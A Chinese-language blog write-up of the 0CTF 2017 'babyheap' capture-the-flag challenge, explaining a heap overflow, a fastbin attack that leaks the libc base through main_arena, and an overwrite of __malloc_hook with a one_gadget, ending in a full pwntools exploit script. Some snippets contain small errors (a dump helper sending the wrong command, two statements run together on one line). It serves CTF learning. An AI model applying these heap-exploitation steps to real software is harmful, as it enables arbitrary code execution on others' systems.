babyheap_0ctf_2017

Posted by Mr.Be1ieVe on Sunday, February 2, 2020

参考wp:https://blog.csdn.net/weixin_42151611/article/details/98119213?fps=1&locationNum=2

image-20200129165539077

===== Baby Heap in 2017 =====
1. Allocate

Command: 1
Size: 300 
Allocate Index 0

2. Fill

Command: 2   
Index: 0
Size: 400
Content: 

3. Free

Command: 3
Index: 3

4. Dump

Command: 4
Index: 0

5. Exit

image-20200129172302922

image-20200129172208306

struct heap{
 int ifExit;
 int size;
 char *str;
}

image-20200129172221992

这里可以看见没有检查v4跟结构体里的size大小,并且是按照v4来输入的,这样就可以覆盖到下一块

image-20200129172235026

都设置为了0,这样就不能Use_after_free

image-20200129172250382

先写好必须的四个功能

    def allocate(size):
        sh.sendlineafter("Command:","1")
        sh.sendlineafter("Size:",str(size))
        sleep(0.1)
        
    def fill(Index,payload):
        sh.sendlineafter("Command:","2")
        sh.sendlineafter("Index:",str(Index))
        sh.sendlineafter("Size:",str(len(payload)))
        sh.sendlineafter("Content:",str(payload))
        sleep(0.1)

    def free(Index):
        sh.sendlineafter("Command:","3")
        sh.sendlineafter("Index:",str(Index))
        sleep(0.1)

    def dump(Index):
        sh.sendlineafter("Command:","3")
        sh.sendlineafter("Index:",str(Index))
        sleep(0.1)

然后,先

add(0x10)  #0 0x00
add(0x10) #1 0x20
add(0x10) #2 0x40
add(0x80) #3 0x60
gdb.attach(sh)
heap

image-20200202114445460

free(2) #0x40
free(1) #0x20

image-20200202114934969

然后,我们通过

payload = 'a'*0x10+p64(0)+p64(0x21)+p8(0x60)    
fill(0,payload) #0x00

image-20200202115823555

在这里我们可以看见,由于没有限制输入长度,我们可以写入fd 8个a,bk 8个a, fd_nextsize p64(0),bk_nextsize p64(0x21),然后写入到下一块 我们本来已经free掉了的 0x20中的 fd中,使他的指向 0x60的bin,这样我们看fastbins时就只能看见0x200x60

image-20200202121553155

allocate(0x10) #1 0x20

image-20200202122603540

这样之后,我们的目的就达成了,把一块没有free的空间放入了fastbins中

image-20200202122724203

payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x21)
fill(1,payload) 

紧接着,我们把0x40的bk_nextsize 设为0x21,这样可以修改0x60的bin size为0x21(0x10 + 0x11),绕过fastbin在分配内存的时候的检测

BK_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适chunk 时挨个遍历。

再次allocate(0x10) #2 0x60就会把之前的0x80的块分配出来

image-20200202124220989

image-20200202123933115

然后

payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x91)
fill(1,payload)  #1 0x20 还原#3的bin的size

image-20200202124141267

allocate(0x80) #4  #为了让#3的bin不再挨着top chunk

image-20200202132442146

然后我们将0x60 #3free掉之后

image-20200202132625185

image-20200202181236041

这样fd 和bk 都指向main_arena+88处

==然后为啥dump2呢-。-==

io.recvuntil('Content: \n')
main_arena = u64(io.recv(6).ljust(8,'\x00'))-88
log.success('main arena: '+hex(main_arena))
libc_base = main_arena - 0x3c4b20 
log.success('libc base: '+hex(libc_base))

0x3c4b20 可以在对应的libc中,搜索malloc_trim函数,可以在下图的地方看见

image-20200202182025461

也可以使用main_arena_offset main_arena libcaddr获取

Arbitrary Alloc的例行公事,最终修改malloc_hook的内容为one_gadget

one_gadget = libc_base + 0x4526a 
allocate(0x60) #3  
free(3)     
fake_chunk_addr = main_arena - 0x33  
payload = p64(fake_chunk_addr)
fill(2,payload)

0x33

p &main_arena

$1 = (struct malloc_state *) 0x7f5081821b20 <main_arena>

x/10gx main_arena_addr-0x10

0x7f5081821b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7f5081821b20 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f5081821b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f5081821b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f5081821b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000

find_fake_fast __malloc_hook_addr 0x70

FAKE CHUNKS 0x7f5081821aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA { prev_size = 5801060741742067712, size = 127, fd = 0x50814e2e20000000, bk = 0x50814e2a0000007f, fd_nextsize = 0x7f, bk_nextsize = 0x0 }

计算偏移

p/x main_arena_addr - fake_chunks_addr

image-20200202193142303

allocate(0x60) #3
allocate(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
fill(5,payload)
allocate(0x10)
sh.interactive()

完整exp

from pwn import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
sh = process('./babyheap_0ctf_2017')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def allocate(size):
 sh.recvuntil('Command: ')
 sh.sendline('1')
 sh.recvuntil('Size: ')
 sh.sendline(str(size))

def fill(idx,content):
 sh.recvuntil('Command: ')
 sh.sendline('2')
 sh.recvuntil('Index: ')
 sh.sendline(str(idx))
 sh.recvuntil('Size: ')
 sh.sendline(str(len(content)))
 sh.recvuntil('Content: ')
 sh.sendline(content)

def free(idx):
 sh.recvuntil('Command: ')
 sh.sendline('3')
 sh.recvuntil('Index: ')
 sh.sendline(str(idx))

def dump(idx):
 sh.recvuntil('Command: ')
 sh.sendline('4')
 sh.recvuntil('Index: ')
 sh.sendline(str(idx))

 
allocate(0x10) #0 0x00
allocate(0x10) #1 0x20
allocate(0x10) #2 0x40
allocate(0x80) #3 0x60
free(2)
free(1)
payload = 'a'*0x10+p64(0)+p64(0x21)+p8(0x60) fill(0,payload)
allocate(0x10) #1
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x21)
fill(1,payload)   
allocate(0x10) #2  
payload = 'a'*0x10+p64(0)+p64(0x21)+'a'*0x10+p64(0)+p64(0x91)
fill(1,payload)  
allocate(0x80) #4  
free(3)     
dump(2)
sh.recvuntil('Content: \n')
main_arena = u64(sh.recv(6).ljust(8,'\x00'))-88
log.success('main arena: '+hex(main_arena))
libc_base = main_arena - 0x3c4b20
log.success('libc base: '+hex(libc_base))
one_gadget = libc_base + 0x4526a # 0x4526a 0xf02a4 0xf1147 0x45216
allocate(0x60) #3  
free(3)     
fake_chunk_addr = main_arena - 0x33  
payload = p64(fake_chunk_addr)
fill(2,payload)
allocate(0x60) #3
allocate(0x60) #5
payload = 'a'*0x13+p64(one_gadget)
fill(5,payload)
allocate(0x10)
sh.interactive()

「真诚赞赏,手留余香」

Mr.Be1ieVe's Treasure

真诚赞赏,手留余香

使用微信扫描二维码完成支付